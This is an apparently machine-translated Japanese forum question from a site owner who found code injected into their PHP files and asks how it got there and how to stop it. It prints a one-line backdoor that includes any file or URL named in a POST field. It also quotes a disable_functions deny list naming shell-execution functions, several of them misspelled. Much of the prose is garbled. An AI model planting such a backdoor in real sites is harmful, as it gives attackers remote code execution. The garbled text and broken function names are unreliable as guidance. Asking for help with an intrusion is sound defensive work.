私はウェブサイト上に注射されたコードを発見しました。いくつかのphpファイルの先頭にはobfuscated codeがあり、ファイルシステム内の他のファイルにアクセスして端末コマンドを実行することができるa scriptと評価されています。いくつかの他のページは、この単純なコードを注射した:PHPコードが注入された - どうやってこれが起こり、どうやってそれを防ぐの?
<?php
if(isset($_POST{"VXzGE"})) include_once($_POST{"VXzGE"});
私は、サーバー自体に違反していない、そうだろう、私はこの違反のために考えることができる唯一の方法は可能があるように聞いています安全でない形で
- いくつかのフォームアップロードファイルいくつかは、データベース内の情報の保存
- 他にのみ送信されたフォームの内容に応じて、
がどのようにクッキーをチェックすることができ、セーブ
私は確かにこのようなことを行ういくつかの一般的な方法が必要です、彼らは何ですか?
FYI私のサーバーは、php.ini経由で無効になってこれらの機能を持っています。
disable_functions = "apache_child_terminate, escapeshellarg, escapeshellcmd, exec, fp, fput, highlight_file, passthru, php_uname, popix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, prce, system"